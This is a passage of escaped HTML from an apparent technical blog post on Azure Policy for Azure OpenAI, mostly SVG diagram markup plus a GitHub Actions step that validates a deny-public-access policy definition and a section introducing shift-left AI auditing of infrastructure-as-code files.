x='344' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='164' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='276' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='260' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='260' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='276' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='260' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='164' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='20' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='164' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='276' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='164' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='20' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='20' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='712' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"cicd-validation\"\u003eCI/CD Validation\u003c/h3\u003e\n\u003cp\u003eIn your GitHub Actions workflow, use the \u003ccode\u003eaz policy definition create\u003c/code\u003e command in a temporary scope to validate the JSON schema and rule logic. ARM will reject any definition that uses an invalid alias or incorrect nesting—which is exactly the kind of fast feedback you want before a policy reaches a Management Group.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# GitHub Actions: Validate Policy Definition\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eValidate Policy JSON\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003erun\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    # Requires a Service Principal with \u0026#39;Resource Policy Contributor\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    az policy definition create \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      --name \u0026#34;validate-openai-policy\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      --rules \u0026#34;./policies/deny-openai-public-access/policy.json\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      --mode Indexed \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      --only-show-errors\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    az policy definition delete --name \u0026#34;validate-openai-policy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"3-shift-left-auditing-iac-for-security-drift\"\u003e3. Shift-Left: Auditing IaC for Security Drift\u003c/h2\u003e\n\u003cp\u003eAzure Policy is typically reactive—it catches a resource \u003cem\u003eafter\u003c/em\u003e deployment. \u003cstrong\u003eShift-Left Auditing\u003c/strong\u003e uses AI to scan Bicep and Terraform files in the Pull Request, identifying compliance gaps before they trigger a policy denial.\u003c/p\u003e\n\u003ch3 id=\"shift-left-ai-audit-flow\"\u003eShift-Left AI Audit Flow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 672 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 96,48 L 312,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,128 L 552,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,224 L 312,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,8 L 88,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,48 L 88,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,216 L 88,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,24 L 312,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,192 L 312,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,8 L 320,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,48 L 320,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,80 L 320,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,128 L 320,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,168 L 320,184' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,216 L 320,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,24 L 552,40' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,192 L 552,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,8 L 560,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,48 L 560,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,216 L 560,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,208 L 312,216' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='104.000000,224.000000 92.000000,218.399994 92.000000,229.600006' fill='currentColor' transform='rotate(180.000000, 96.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='320.000000,48.000000 308.000000,42.400002 308.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 312.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,128.000000 324.000000,122.400002 324.000000,133.600006' fill='currentColor' transform='rotate(180.000000, 328.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='320' cy='80' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='196' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='212' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='164' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext 